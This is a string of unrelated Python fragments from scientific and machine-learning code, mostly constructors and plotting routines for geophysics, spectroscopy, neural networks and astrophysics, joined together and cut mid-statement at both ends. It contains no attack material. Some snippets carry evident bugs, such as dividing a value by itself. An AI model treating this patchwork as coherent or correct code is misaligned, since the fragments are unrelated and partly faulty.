pu.extract_points(pointsFile)\n\n\t\tX = x / xscale\n\t\tY1 = ux / yscale\n\n\t\tx_fem = X #/ xscale #double scaling!\n\t\tur_fem = Y1 #/ yscale\n\t\tuz_fem = uz / yscale\n\n\t\t#print(pointsFile)\n\t\tprint(ur_fem.min(), ur_fem.max(), uz_fem.min(), uz_fem.max(), uz_fem.max() / ur_fem.max())\n\n\t#normalize\n\tuz_fem = uz_fem / uzmax\n\tur_fem = ur_fem / uzmax\n\tx_fem = x_fem / 20.0\n\n\t\tl, = plt.plot(x_fem,uz_fem,'.-', mfc='w', lw=4,label=labels[i])\n\t\tplt.plot(x_fem,ur_fem,'.--',lw=4, mfc='w',color=l.get_color()) #mfc='none' transparent\n\n\t\tshallow[outdir] = uz_fem/ur_fem\n\t'''\n\n\t# Annotate\n\tplt.axhline(color='k',lw=0.5)\n\t#plt.xlabel('Distance [{}]'.format(get_unit(xscale)))\n\t#plt.ylabel('Displacement [{}]'.format(get_unit(yscale)))\n\tplt.legend()\n\tplt.grid()\n\t#plt.ylim(-0.5, 3.5)\n\t#plt.savefig('deep.png',bbox_inches='tight')\n\t#plt.savefig('shallow.png',bbox_inches='tight')\n\n\t# normalized\n\tplt.ylim(-0.5, 4)\n\tplt.xlim(0,10)\n\tplt.xlabel('Normalized Radial Distance [R / D]')\n\tplt.ylabel('Normalized Displacement [U / Uz_max]')\n\t#plt.savefig('normalized_deep.png',bbox_inches='tight')\n\tplt.savefig('normalized_shallow.png',bbox_inches='tight')\n\n\n\t# Plot ratios of uz versus NOTE: this plot is confusing,,, just keep ratio of uz_max to ur_max\n\t'''\n\tplt.figure()\n\tplt.plot(x_fem, deep['step01'], label='Deep no APMB')\n\tplt.plot(x_fem, deep['step02'], label='Deep w/ APMB')\n\tplt.plot(x_fem, shallow['step11'], label='Shallow no APMB')\n\tplt.plot(x_fem, shallow['step12'], label='Shallow w/ APMB')\n\tplt.xlabel('Distance [km]') #NOTE: maybe plot normailzed X-axis (R-d)\n\t#plt.xlabel('Normalized Distance [R/d]')\n\tplt.ylabel('Ratio [Uz/Ur]')\n\tplt.title('Ratio of vertical to radial displacement')\n\tplt.legend()\n\tplt.show()\n\t'''","def __init__(self, max_sigma, min_sigma, end_episode):\n self.max_sigma = max_sigma\n self.min_sigma = min_sigma\n self.end_episode = end_episode","def __init__(self,\n address,\n peak_one_range_min,\n peak_one_range_max,\n peak_two_range_min,\n peak_two_range_max,\n peak_ratio = 0.4,\n normalized_peak_to_noise_ratio = 0.4,\n spectrometer_dark_path = None,\n metal_edge_px_position = None,\n metal_edge_eV = None,\n forbidden_range_eV=20):\n #self.logger = logging.getLogger(self.__class__.__name__)\n #self.logger.setLevel(logging.INFO)\n #self.logging = logging\n\n self.src = Source('%s'%address)\n if spectrometer_dark_path is not None:\n self.dark = easy_pickle.load(spectrometer_dark_path)\n else:\n self.dark = None\n self.peak_one_range_min = int(peak_one_range_min)\n self.peak_one_range_max = int(peak_one_range_max)\n self.peak_two_range_min = int(peak_two_range_min)\n self.peak_two_range_max = int(peak_two_range_max)\n self.normalized_peak_to_noise_ratio = float(normalized_peak_to_noise_ratio)\n self.peak_ratio = float(peak_ratio)\n self.forbidden_range_eV = int(forbidden_range_eV)\n if metal_edge_px_position is not None:\n self.metal_edge_px_position = int(metal_edge_px_position)\n else:\n self.metal_edge_px_position = None\n\n if metal_edge_eV is not None:\n self.metal_edge_eV = int(metal_edge_eV)\n else:\n self.metal_edge_eV = None\n self.ntwo_color = 0\n self.nnodata = 0\n self.nshots = 0\n self.naccepted= 0","def __init__(self):\n self.state_dim = 12\n self.measurement_dim = 6","def __init__(self):\n\n # self.threshold = 3.\n self.gamma_min = 3\n self.gamma_max = 12\n self.n_samples = 40\n # self.do_plots = False\n # self.do_albedo = True\n # self.verbose = True\n\n self.nbands = 7\n self.bu = np.array([0.004, 0.015, 0.003, 0.004, 0.013, 0.010, 0.006])\n\n # Determine 250 or 500 meters product\n # self.resolution = 500\n\n # self.pixelWidth = 500\n # self.pixelHeight = 500","def __init__(self, in_features, out_features):\n \n ########################\n # PUT YOUR CODE HERE #\n #######################\n self.params = {'weight': np.random.normal(loc = 0, scale=0.0001, size=(out_features,in_features)),\\\n 'bias': np.zeros((1, out_features))}\n \n self.grads = {'weight': np.zeros((out_features,in_features)),\\\n 'bias': np.zeros((1, out_features))}\n ########################\n # END OF YOUR CODE #\n #######################","def __init__(self, alpha=0.01):\n self.gl = GeneralizationLoss()\n self.alpha = alpha","def __init__(self,scale):\n self.scale = scale","def initializeDistribution(self):\n self.minVal = min(math.exp(self.upperBound),math.exp(self.lowerBound))\n self.maxVal = max(math.exp(self.upperBound),math.exp(self.lowerBound))","def initializeParameters(self):\r\n\t\tself.input_raster.enabled = True\r\n\t\tself.approach.enabled = True\r\n\t\tself.predefined_pattern.enabled = False\r\n\t\tself.predefined_pattern.value = 'Mexican Hat wavelet'\r\n\t\tself.pattern_workspace.enabled = False\r\n\t\tself.point_matrix_size.enabled = False\r\n\t\tself.point_matrix_size.value = 3\r\n\t\tself.point_vectors.enabled = False\r\n\t\tself.mapping_field.enabled = False\r\n\t\tself.move_to_max.enabled = False\r\n\t\tself.move_to_max_distance.enabled = False\r\n\t\tself.move_to_max_distance.value = 3\r\n\t\tself.mh_iteration.enabled = False\r\n\t\tself.mh_dil_val.enabled = False\r\n\t\tself.mh_dil_val.value = 1\r\n\t\tself.mh_dil_start.value = 0.01\r\n\t\tself.mh_dil_stop.value = 1\r\n\t\tself.mh_dil_step.value = 0.1\r\n\t\tself.mh_dil_start.enabled = False\r\n\t\tself.mh_dil_stop.enabled = False\r\n\t\tself.mh_dil_step.enabled = False\r\n\t\tself.transform.enabled = False\r\n\t\tself.size_of_the_cell.enabled = False\r\n\t\tself.size_of_the_cell.value = 1\r\n\t\tself.output_sim_matrix.enabled = False\r\n\t\tself.output_table.enabled = False\r\n\t\tself.output_raster_workspace.enabled = False","def __init__(self, x_0, y_0, initX, initY,h=5):\n self.x_0=x_0\n self.y_0=y_0\n self.x_init=initX\n self.y_init=initY\n self.step=h","def bndy_plasma(self):\n self.ne[0], self.ne[-1] = 1e11, 1e11\n self.ni[0], self.ni[-1] = 1e11, 1e11\n self.nn[0], self.nn[-1] = 1e11, 1e11\n self.Te[0], self.Te[-1] = 0.1, 0.1\n self.Ti[0], self.Ti[-1] = 0.01, 0.01\n # self.coll_em[0], self.coll_em[-1] = 1e5, 1e5\n # self.coll_im[0], self.coll_im[-1] = 1e5, 1e5","def __init__(self, in_features, out_features):\n \n ########################\n # PUT YOUR CODE HERE #\n #######################\n\n\n self.params = {'weight': 0.0001 * np.random.randn(out_features, in_features), 'bias': np.zeros((out_features, 1))}\n self.grads = {'weight': np.zeros((out_features, in_features)), 'bias': np.zeros((out_features, 1))}\n\n\n\n ########################\n # END OF YOUR CODE #\n #######################","def __init__(self):\n self.minh = []\n self.maxh = []","def plot(self):\n \n \n x_ibs=[] \n x_gss=[]\n y_ibs=[] \n y_gss=[]\n x_pso=[]\n x_bgd=[]\n y_bgd=[]\n y_pso=[]\n x_gd=[]\n y_gd=[]\n \n i=0.0000001\n \n # for k in range(1,51):\n # i= random.uniform(0.00000001, 1)\n # t_avg_ibs=[]\n # t_avg_gss=[]\n # for j in range(1,51):\n #L=random.randint(-100, 0)\n #U=random.randint(0, 100)\n max_iter=self.Max_iter \n L=self.Lower_bound\n U=self.Upper_bound\n \n minima=self.gss(L,U,i,1000)\n #print(\"minima at X = \",minima[1])\n x_ibs.append(self.I_bisection(L,U,minima[1],max_iter)[0])\n x_gss.append(self.gss(L,U,i,max_iter)[0])\n x_pso.append(self.particle_Swarm(self.func, L, U, 2, max_iter)[0])\n x_gd.append(self.gradient_descent(X=U ,eta=0.01, tol=minima[1],iter= max_iter)[0])\n x_bgd.append(self.b_gradient_descent(LB=L,UB=U ,eta=0.01, tol=minima[1],iter=max_iter)[0])\n #print(x_pso)\n for i in x_ibs[0]:\n #print(self.Func(i)) \n y_ibs.append(self.Func(i))\n for i in x_gss[0]:\n y_gss.append(self.Func(i)) \n for i in x_pso[0]:\n y_pso.append(self.Func(i)) \n for i in x_gd[0]:\n y_gd.append(self.Func(i)) \n for i in x_bgd[0]:\n y_bgd.append(self.Func(i)) \n #print(y_gss)\n\n plt.plot(x_ibs[0], y_ibs, 'r.')\n plt.plot(x_gss[0], y_gss, '.')\n plt.plot(x_pso[0], y_pso, 'y.')\n #plt.plot(x_gd[0], y_gd, 'y.')\n #plt.plot(x_bgd[0], y_bgd, 'k.')\n plt.xlabel('x')\n plt.ylabel('y')\n \n plt.suptitle('Interval Bisection Search (Red) vs Golden Section Search (Blue) vs Particle swarm optimization (Green)')\n #plt.axis([0, 100, 0.00000001, 1]) \n plt.show()\n plt.plot(x_gd[0], y_gd, 'r.')\n plt.plot(x_bgd[0], y_bgd, 'k.')\n plt.xlabel('x')\n plt.ylabel('y') \n plt.suptitle('Gradient Descent (Red) vs Batch Gradient Descent (Black) ')\n \n plt.show()\n \n start_time = timeit.default_timer()\n ibs=self.I_bisection(L,U,minima[1],max_iter)\n print(\" Execution time for Interval bisection Method is\", timeit.default_timer() - start_time,\"s\")\n start_time = timeit.default_timer()\n gss=self.gss(L,U,i,max_iter)\n print(\" Execution time for Golden Section Search is\", timeit.default_timer() - start_time,\"s\")\n start_time = timeit.default_timer()\n pso=self.particle_Swarm(self.func, L, U, 2, max_iter)\n print(\" Execution time for Particle swarm optimization is\", timeit.default_timer() - start_time,\"s\")\n start_time = timeit.default_timer()\n gd=self.gradient_descent(X=U ,eta=0.01, tol=minima[1],iter= max_iter)\n print(\" Execution time for Gradient Descent is\", timeit.default_timer() - start_time,\"s\")\n start_time = timeit.default_timer()\n bgd=self.b_gradient_descent(LB=L,UB=U ,eta=0.01, tol=minima[1],iter=max_iter)\n print(\" Execution time for Batch Gradient Descent is\", timeit.default_timer() - start_time,\"s\")\n plt.plot(ibs[1], ibs[2], 'r.')\n plt.text(ibs[1], ibs[2],\"IB\")\n plt.plot(gss[1], gss[2], '.')\n plt.text(gss[1], gss[2],\" GSS\")\n plt.plot(pso[1], pso[2], 'y.')\n plt.text(pso[1], pso[2],\" PSO\")\n plt.plot(gd[1], gd[2], 'g.')\n plt.text(gd[1], gd[2],\" GD \")\n plt.plot(bgd[1],bgd[2], 'k.')\n plt.text(bgd[1], bgd[2],\" Batch_GD\")\n \n plt.xlabel('Value of X')\n plt.ylabel('NUmber of iteration') \n plt.suptitle('Number of iterations vs minimum value of x')\n \n plt.show()","def get_scale():\r\n\r\n \r\n return 0.5","def __init__(self, min_x, min_y, max_x=0, max_y=0,\n width=0, height=0):\n self.min_x = min_x\n self.min_y = min_y\n if width > 0:\n self.max_x = min_x + width\n else:\n self.max_x = max_x\n if height > 0:\n self.max_y = min_y + height\n else:\n self.max_y = max_y","def __init__(self):\n super().__init__()\n self.dataFilename = None\n self.functionType = None\n self.type = 'NDimensionalDistributions'\n self.dimensionality = None\n\n self.RNGInitDisc = 5\n self.RNGtolerance = 0.2","def __init__(\n self,\n num_bright_image_variants=15,\n num_interpolations=100,\n min_brightness_increase=0.4,\n max_brightness_increase=0.7,\n ):\n self.num_bright_image_variants = num_bright_image_variants\n self.num_interpolations = num_interpolations\n self.min_brightness_increase = min_brightness_increase\n self.max_brightness_increase = max_brightness_increase","def __init__(self, min_intensity: float, max_intensity: float):\n super().__init__()\n self.min_intensity = min_intensity\n self.max_intensity = max_intensity","def init_hyperparameters():\n alpha = .8\n alpha2 = 1\n\n return alpha, alpha2","def discrete_model():\n return {\"x\": np.random.randint(10, size=100), \"y\": np.random.randint(10, size=100)}","def _set_leg_params(self):\n self.p = 0.01600\n self.q = 0.00000\n self.r = 0.02000\n self.c = 0.01811\n self.u = 0.00000\n self.v = 0.00000\n self.e = -0.06000\n self.h = -0.02820\n self.s = 0.02200\n self.d1 = 0.0\n self.d2 = 0.0\n self.d3 = 0.0\n self.stability = 0.0","def __init__(self,\n logs_dirs = ['LOGS'],\n profile_paths = [],\n history_paths = [],\n clean_data = True,\n extra_history_cols = [],\n identifier = \"eps_nuc\",\n extractor = default_extractor,\n log10_on_data = True,\n contour_colormap = plt.get_cmap(\"Blues\"),\n levels = [],\n log_levels = True,\n num_levels = 8,\n xaxis = \"model_number\",\n xaxis_divide = 1.0,\n time_units = \"Myr\",\n function_on_xaxis = lambda x: x,\n yaxis = \"mass\",\n yaxis_normalize = False,\n show_conv = True, show_therm = True, show_semi = True, show_over = True, show_rot = False,\n core_masses = [\"He\",\"C\",\"O\"],\n yresolution = 1000,\n mass_tolerance = 0.0000001,\n radius_tolerance = 0.0000001,\n decorate_plot = True,\n show_plot = False,\n save_file = True,\n save_filename = \"Kippenhahn.png\"):\n\n self.logs_dirs = logs_dirs\n self.profile_paths = profile_paths\n self.history_paths = history_paths\n self.clean_data = clean_data\n self.extra_history_cols = extra_history_cols\n self.identifier = identifier\n self.extractor = extractor\n self.log10_on_data = log10_on_data\n self.contour_colormap = contour_colormap\n self.levels = levels\n self.log_levels = log_levels\n self.num_levels = num_levels\n self.xaxis = xaxis\n self.xaxis_divide = xaxis_divide\n self.time_units = time_units\n self.function_on_xaxis = function_on_xaxis\n self.yaxis = yaxis\n self.yaxis_normalize = yaxis_normalize\n self.show_conv = show_conv\n self.show_therm = show_therm\n self.show_semi = show_semi\n self.show_over = show_over\n self.show_rot = show_rot\n self.core_masses = core_masses\n self.yresolution = yresolution\n self.mass_tolerance = mass_tolerance\n self.radius_tolerance = radius_tolerance\n self.decorate_plot = decorate_plot\n self.show_plot = show_plot\n self.save_file = save_file\n self.save_filename = save_filename","def __init__(self, state_size, action_size, action_low, action_high):\n self.state_size = state_size\n self.action_size = action_size\n self.action_low = action_low\n self.action_high = action_high\n self.action_range = self.action_high - self.action_low\n\n ###\n\n self.build_model()","def __init__(self,datamask , h, w, upper, lower):\n self.datamask = datamask\n self.imgidmask = datamask[datamask.type == 'global'].reset_index(drop = True)\n self.h = h\n self.w = w\n self.upper = upper\n self.lower = lower\n self._birads_to_idxs = get_birad()\n self._densities_to_idxs = get_dens()\n self.tfms = get_transform(height = self.h, width =self.w)","def __init__(self, alpha=80, beta=13, gamma=3, spatial_ker_weight=3, bilateral_ker_weight=10):\n self.alpha = alpha\n self.beta = beta\n self.gamma = gamma\n self.spatial_ker_weight = spatial_ker_weight\n self.bilateral_ker_weight = bilateral_ker_weight","def assign_model_parameters(self,xmax,zmax,dh,duration):\n self.model_parameters['xmax']=xmax\n self.model_parameters['zmax']=zmax\n self.model_parameters['dh']=dh\n self.model_parameters['duration']=duration","def __init__(self, max_inst=2, max_tips=2):\n self.max_inst = max_inst\n self.max_tips = max_tips\n self._graph = None\n self._im = None","def __init__(self, grid_size=7, num_bboxes=2, num_classes=20):\r\n super(Loss, self).__init__()\r\n self.S = grid_size\r\n self.B = num_bboxes\r\n self.C = num_classes","def __init__(self,config = None):\n \n self.join_path = join_path\n self.label_path = cfg['labels_path']\n self.pick_path = (cfg['result_path'] + cfg['pickle_path'])\n self.label_dir = os.path.join(CWD_PATH,self.join_path, self.label_path)\n\n #Variables inherent to the Fluent data: \n self.num_ins = 4\n\n self.scale_var = cfg['scale_var']\n # User set values are below. These can be adjusted in config.yml \n self.MSE_thresh1 = (cfg['thresh1']*self.scale_var)**2\n self.MSE_thresh2 = (cfg['thresh2']*self.scale_var)**2\n self.MSE_thresh3 = (cfg['thresh3']*self.scale_var)**2\n \n self.rew_goal = cfg['reward'] * self.scale_var\n\n self.noise = cfg['noise']\n self.minmaxbuffer = cfg['minmaxbuffer']\n\n # Get the function of input-output mapping, and max & min:\n [self.O_CH4_flow_uniformity, mins,maxes] = self.get_funcs('O_CH4_flow_uniformity')\n [self.O_CH4_mol_frac, mins,maxes] = self.get_funcs('O_CH4_mol_frac')\n [self.O_t, mins, maxes] = self.get_funcs('O_t')\n \n self.mins = mins# * self.scale_var\n self.maxes = maxes#* self.scale_var\n #Action range is a percentage of the total range\n self.action_range = cfg['action_range']*self.scale_var\n\n #Action space is the up & down range for the 4 actions \n self.action_space = Box(-self.action_range, self.action_range, shape=(self.num_ins,), dtype=np.float32)\n\n # For ref, this is a 10d state space:\n #in: 1 ch4 flow, 2 ch4 t, 3 o2 flow, 4 o2 t,\n #out: 5 flow unif, 6 mol frac, 7 temp\n #out - target: 8 flow unif, 9 mol frac, 10 temp\n \n self.observation_space = Tuple((Box(self.mins.values[0],self.maxes.values[0],shape=(1,), dtype=np.float32),\n Box(self.mins.values[1],self.maxes.values[1],shape=(1,), dtype=np.float32),\n Box(self.mins.values[2],self.maxes.values[2],shape=(1,), dtype=np.float32),\n Box(self.mins.values[3],self.maxes.values[3],shape=(1,), dtype=np.float32),\n Box(self.mins.values[4],self.maxes.values[4],shape=(1,), dtype=np.float32),\n Box(self.mins.values[5],self.maxes.values[5],shape=(1,), dtype=np.float32),\n Box(self.mins.values[6],self.maxes.values[6],shape=(1,), dtype=np.float32),\n Box(self.mins.values[4],self.maxes.values[4],shape=(1,), dtype=np.float32),\n Box(self.mins.values[5],self.maxes.values[5],shape=(1,), dtype=np.float32),\n Box(self.mins.values[6],self.maxes.values[6],shape=(1,), dtype=np.float32)))\n \n # TODO this isn't really a proper gym spec\n self._spec = lambda: None\n self._spec.id = \"AllVar-v0\"\n \n # For rendering:\n self.viewer = None\n self.labels = cfg['labels']\n \n #initialize variables for tracking:\n self.episode = 0\n self.reward = 0\n self.reset()","def __init__(self, in_features, out_features):\n\n ########################\n # PUT YOUR CODE HERE #\n #######################\n\n self.in_features = in_features\n self.out_features = out_features\n\n self.__MEAN = 0\n self.__STD = 0.0001\n\n self.params = {\n 'weight': np.random.normal(loc=self.__MEAN, scale=self.__STD, size=(out_features, in_features)), \n 'bias': np.zeros(out_features),\n }\n self.grads = {\n 'weight': None, \n 'bias': None,\n }\n\n self.input_cache = None\n ########################\n # END OF YOUR CODE #\n #######################","def __init__(self, scale, **kwargs):\n super(NormalNoise, self).__init__(**kwargs)\n self._scale = scale","def __init__(self, model, X_lower, X_upper):\n self.model = model\n self.X_upper = X_upper\n self.X_lower = X_lower","def __init__(self, maxEpochs=100, initAlpha=0.01, power=1.0):\n self.maxEpochs = maxEpochs\n self.initAlpha = initAlpha\n self.power = power\n pass","def __init__(self):\n super().__init__()\n No_of_Inputs = 2\n No_of_Outputs = 2\n No_of_Hidden_nodes = 12\n \"\"\" Defining the min and max values of the data used in training for normalizing the input values sent by game and denormalize the predicted output values from neural network \"\"\" \n self.max_X_Distance = 636.2896274868181\n self.min_X_Distance = -596.6699167751983\n self.max_Y_Distance = 743.1598623474754\n self.min_Y_Distance = 65.6244797954829\n self.max_X_Velocity = 7.994655683732954\n self.min_X_Velocity = -6.139791884122744\n self.max_Y_Velocity = 6.116163006403942\n self.min_Y_Velocity = -5.779221733928611\n self.Neural_Net = Neuron_Network(No_of_Inputs, No_of_Hidden_nodes, No_of_Outputs)\n self.Neural_Net.Hidden_Layer_Weights = [[-2.4968545286197834, -1.8753602229555426, -0.212544244291629], [-1.7630022249709958, -3.6728753504716702, 0.9029212995412115], [-9.92308792895824, 18.605900320220044, 0.6546005968930644], [-2.4482999114771995, -1.517816946765758, -0.9193463164391101], [-2.3427861053090684, -2.4881000020941877, 0.4629152770160724], [-2.1591465483332413, 1.0195709398508257, -3.550975138336682], [-4.121604475036676, 1.2541841992381966, 0.20872225266025077], [-2.794714837157948, -0.6250218903568433, -0.9508382423169754], [-2.171501881731379, -2.860403977932674, 0.45023268515928966], [-7.574606539172206, 5.796893890015888, 0.8325562788065618], [-2.3949093030515787, -1.6691739704587119, -0.8994153916849774], [-2.5057827237537236, -1.833523946060227, -0.15265344756899354]]\n self.Neural_Net.Output_Layer_Weights = [[0.5339576155454724, -7.163855899626589, 4.441573522337238, -0.8487519667092871, 0.194328665944557, -6.253588662045125, 10.355395474689958, -0.5546973711452573, 1.3109277184619805, -2.8628613991153036, -3.4019242278486903, 0.920569758736398, -9.436494568306678], [-1.2778954480096152, 0.7155347068753504, 1.642050336134636, 1.847449069077208, 0.6888835859247565, 1.1005203424912922, 1.8925919549669181, -0.6795836727331039, 0.41572054666867386, 1.2533245105144883, -3.297414893260861, 0.7326422000597372, 0.6620055115639853]]","def __init__(self,x=0.1,E=10.0, mpar={}, topchem='He', topden=1.78e-4, botchem='Sr50Cl100H110493.721O55246.86', botden=1.0032, element='Sr', line='Ka1', vslit= 0.04, detlen=10.5, qoff=0.0, yscale=1,int_bg=0, Rc=0, sur_den=0,ion_depth=0):\n if type(x)==list:\n self.x=np.array(x)\n else:\n self.x=x\n self.E=E\n self.__mpar__ = mpar\n self.topchem = topchem\n self.topden = topden\n self.botchem = botchem\n self.botden = botden\n self.element = element\n self.line = line\n self.vslit = vslit\n self.detlen = detlen\n self.qoff = qoff\n self.yscale = yscale\n self.int_bg = int_bg\n self.Rc = Rc\n self.sur_den = sur_den\n self.ion_depth = ion_depth\n elelist = xdb.atomic_symbols\n linelist = list(xdb.xray_lines(98).keys())\n self.choices={'element':elelist,'line': linelist} #If there are choices available for any fixed parameters\n self.output_params = {}\n self.init_params()\n self.__fit__=False\n self.__avoganum__ = scipy.constants.Avogadro\n self.__eleradius__ = scipy.constants.physical_constants['classical electron radius'][0]*1e10 #classic electron radius in \\AA","def compare_ratios(path='/Volumes/OptiHDD/data/pylith/3d/agu2013/output',\n\t\t\t\tsteps=['step01','step02'],\n\t\t\t\t#labels='',\n\t\t\t\tshow=True,\n\t\t\t\txscale=1e3,\n\t\t\t\tyscale=1e-2):\n\tplt.figure()\n\t#path = '/Users/scott/Desktop/elastic'\n\n\t# Deep source\n\tlabels = ['no APMB', 'APMB']\n\tdeep = {}\n\tuzmax = 0.824873455364\n\t# NOT sure why hardcoded...\n\tuzmax = 1\n\tfor i,outdir in enumerate(steps):\n\t\tpointsFile = os.path.join(path, outdir, 'points.h5')\n\n\t\tx,y,z,ux,uy,uz = pu.extract_points(pointsFile)\n\n\t\tX = x / xscale\n\t\tY1 = ux / yscale\n\n\t\tx_fem = X #/ xscale #double scaling!\n\t\tur_fem = Y1 #/ yscale\n\t\tuz_fem = uz / yscale\n\n\t\t#print(pointsFile)\n\t\tprint(ur_fem.min(), ur_fem.max(), uz_fem.min(), uz_fem.max(), uz_fem.max() / ur_fem.max())\n\n\t\t#normalize\n\t\tuz_fem = uz_fem / uzmax\n\t\tur_fem = ur_fem / uzmax\n\t\tx_fem = x_fem / 30.0\n\n\t\tl, = plt.plot(x_fem,uz_fem,'o-',ms=4,lw=4,label=labels[i])\n\t\tplt.plot(x_fem,ur_fem,'o--',ms=4,lw=4,color=l.get_color()) #mfc='none' transparent\n\t\tdeep[outdir] = uz_fem/uz_fem\n\n\n\t# Shallow Source\n\tshallow = {}\n\tuzmax = 0.949652827795 # Why?\n\tfor i,outdir in enumerate(['step11','step12']):\n\t\tpointsFile = os.path.join(path, outdir, 'points.h5')\n\n\t\tx,y,z,ux,uy,uz = pu.extract_points(pointsFile)\n\n\t\tX = x / xscale\n\t\tY1 = ux / yscale\n\n\t\tx_fem = X #/ xscale #double scaling!\n\t\tur_fem = Y1 #/ yscale\n\t\tuz_fem = uz / yscale\n\n\t\t#print(pointsFile)\n\t\tprint(ur_fem.min(), ur_fem.max(), uz_fem.min(), uz_fem.max(), uz_fem.max() / ur_fem.max())\n\n\t\t#normalize\n\t\tuz_fem = uz_fem / uzmax\n\t\tur_fem = ur_fem / uzmax\n\t\tx_fem = x_fem / 20.0\n\n\t\tl, = plt.plot(x_fem,uz_fem,'.-', mfc='w', lw=4,label=labels[i])\n\t\tplt.plot(x_fem,ur_fem,'.--',lw=4, mfc='w',color=l.get_color()) #mfc='none' transparent\n\n\t\tshallow[outdir] = uz_fem/ur_fem\n\n\t# Annotate\n\tplt.axhline(color='k',lw=0.5)\n\t#plt.xlabel('Distance [{}]'.format(get_unit(xscale)))\n\t#plt.ylabel('Displacement [{}]'.format(get_unit(yscale)))\n\tplt.legend()\n\tplt.grid()\n\t#plt.ylim(-0.5, 3.5)\n\t#plt.savefig('deep.png',bbox_inches='tight')\n\t#plt.savefig('shallow.png',bbox_inches='tight')\n\n\t# normalized\n\tplt.ylim(-0.5, 4)\n\tplt.xlim(0,10)\n\tplt.xlabel('Normalized Radial Distance [R / D]')\n\tplt.ylabel('Normalized Displacement [U / Uz_max]')\n\t#plt.savefig('normalized_deep.png',bbox_inches='tight')\n\tplt.savefig('normalized_shallow.png',bbox_inches='tight')\n\n\n\t# Plot ratios of uz versus NOTE: this plot is confusing,,, just keep ratio of uz_max to ur_max\n\t'''\n\tplt.figure()\n\tplt.plot(x_fem, deep['step01'], label='Deep no APMB')\n\tplt.plot(x_fem, deep['step02'], label='Deep w/ APMB')\n\tplt.plot(x_fem, shallow['step11'], label='Shallow no APMB')\n\tplt.plot(x_fem, shallow['step12'], label='Shallow w/ APMB')\n\tplt.xlabel('Distance [km]') #NOTE: maybe plot normailzed X-axis (R-d)\n\t#plt.xlabel('Normalized Distance [R/d]')\n\tplt.ylabel('Ratio [Uz/Ur]')\n\tplt.title('Ratio of vertical to radial displacement')\n\tplt.legend()\n\tplt.show()\n\t'''","def __init__(self):\n self.topology = None\n self.learningRate = None\n self.momentum = None\n self.name = None\n self.size = None\n #self._hiddenActiv_fun_key = None\n #self._outActiv_fun_key = None\n #self.output_activation = None\n #self.hidden_activation = None","def determinePlotLimits(self):\n max_str = \"up99\"\n min_str = \"dn99\"\n if self.keywords.get(\"limit_type\",\"99per\") == \"minmax\":\n max_str = \"max\"\n min_str = \"min\"\n \n # Determine the min/max of variables over all models\n limits = {}\n prune = False\n for fname in glob.glob(os.path.join(self.output_path,\"*.nc\")):\n with Dataset(fname) as dataset:\n if \"MeanState\" not in dataset.groups: continue\n group = dataset.groups[\"MeanState\"]\n variables = [v for v in group.variables.keys() if v not in group.dimensions.keys()]\n for vname in variables:\n var = group.variables[vname]\n pname = vname.split(\"_\")[0]\n region = vname.split(\"_\")[-1]\n if var[...].size <= 1: continue\n if space_opts.has_key(pname):\n if not limits.has_key(pname):\n limits[pname] = {}\n limits[pname][\"min\"] = +1e20\n limits[pname][\"max\"] = -1e20\n limits[pname][\"unit\"] = post.UnitStringToMatplotlib(var.getncattr(\"units\"))\n limits[pname][\"min\"] = min(limits[pname][\"min\"],var.getncattr(min_str))\n limits[pname][\"max\"] = max(limits[pname][\"max\"],var.getncattr(max_str))\n elif time_opts.has_key(pname):\n if not limits.has_key(pname): limits[pname] = {}\n if not limits[pname].has_key(region):\n limits[pname][region] = {}\n limits[pname][region][\"min\"] = +1e20\n limits[pname][region][\"max\"] = -1e20\n limits[pname][region][\"unit\"] = post.UnitStringToMatplotlib(var.getncattr(\"units\"))\n limits[pname][region][\"min\"] = min(limits[pname][region][\"min\"],var.getncattr(\"min\"))\n limits[pname][region][\"max\"] = max(limits[pname][region][\"max\"],var.getncattr(\"max\"))\n if not prune and \"Benchmark\" in fname and pname == \"timeint\":\n prune = True\n self.pruneRegions(Variable(filename = fname,\n variable_name = vname,\n groupname = \"MeanState\"))\n \n # Second pass to plot legends (FIX: only for master?)\n for pname in limits.keys():\n\n try:\n opts = space_opts[pname]\n except:\n continue\n \n # Determine plot limits and colormap\n if opts[\"sym\"]:\n vabs = max(abs(limits[pname][\"min\"]),abs(limits[pname][\"min\"]))\n limits[pname][\"min\"] = -vabs\n limits[pname][\"max\"] = vabs\n\n # if a score, force to be [0,1]\n if \"score\" in pname:\n limits[pname][\"min\"] = 0\n limits[pname][\"max\"] = 1\n\n limits[pname][\"cmap\"] = opts[\"cmap\"]\n if limits[pname][\"cmap\"] == \"choose\": limits[pname][\"cmap\"] = self.cmap\n\n # Plot a legend for each key\n if opts[\"haslegend\"]:\n fig,ax = plt.subplots(figsize=(6.8,1.0),tight_layout=True)\n label = opts[\"label\"]\n if label == \"unit\": label = limits[pname][\"unit\"]\n post.ColorBar(ax,\n vmin = limits[pname][\"min\"],\n vmax = limits[pname][\"max\"],\n cmap = limits[pname][\"cmap\"],\n ticks = opts[\"ticks\"],\n ticklabels = opts[\"ticklabels\"],\n label = label)\n fig.savefig(os.path.join(self.output_path,\"legend_%s.png\" % (pname))) \n plt.close()\n\n # Determine min/max of relationship variables\n for fname in glob.glob(os.path.join(self.output_path,\"*.nc\")):\n with Dataset(fname) as dataset:\n for g in dataset.groups.keys():\n if \"relationship\" not in g: continue\n grp = dataset.groups[g]\n if not limits.has_key(g):\n limits[g] = {}\n limits[g][\"xmin\"] = +1e20\n limits[g][\"xmax\"] = -1e20\n limits[g][\"ymin\"] = +1e20\n limits[g][\"ymax\"] = -1e20\n limits[g][\"xmin\"] = min(limits[g][\"xmin\"],grp.variables[\"ind_bnd\"][ 0, 0])\n limits[g][\"xmax\"] = max(limits[g][\"xmax\"],grp.variables[\"ind_bnd\"][-1,-1])\n limits[g][\"ymin\"] = min(limits[g][\"ymin\"],grp.variables[\"dep_bnd\"][ 0, 0])\n limits[g][\"ymax\"] = max(limits[g][\"ymax\"],grp.variables[\"dep_bnd\"][-1,-1])\n\n \n self.limits = limits","def __init__(self, config, tdim, batch_size):\n self.float_type = 'float32' # This should be the default\n self.config = config\n self.dt = self.config['dt']\n\n self.n_eachring = self.config['n_eachring']\n self.n_input = self.config['n_input']\n self.n_output = self.config['n_output']\n self.pref = np.arange(0,2*np.pi,2*np.pi/self.n_eachring) # preferences\n\n self.batch_size = batch_size\n self.tdim = tdim\n self.x = np.zeros((tdim, batch_size, self.n_input), dtype=self.float_type)\n #self.input_loc = list()# add by yichen\n #self.output_loc = list()# add by yichen\n #self.distract_loc = list()# add by yichen\n self.y = np.zeros((tdim, batch_size, self.n_output), dtype=self.float_type)\n if self.config['loss_type'] == 'lsq':\n self.y[:,:,:] 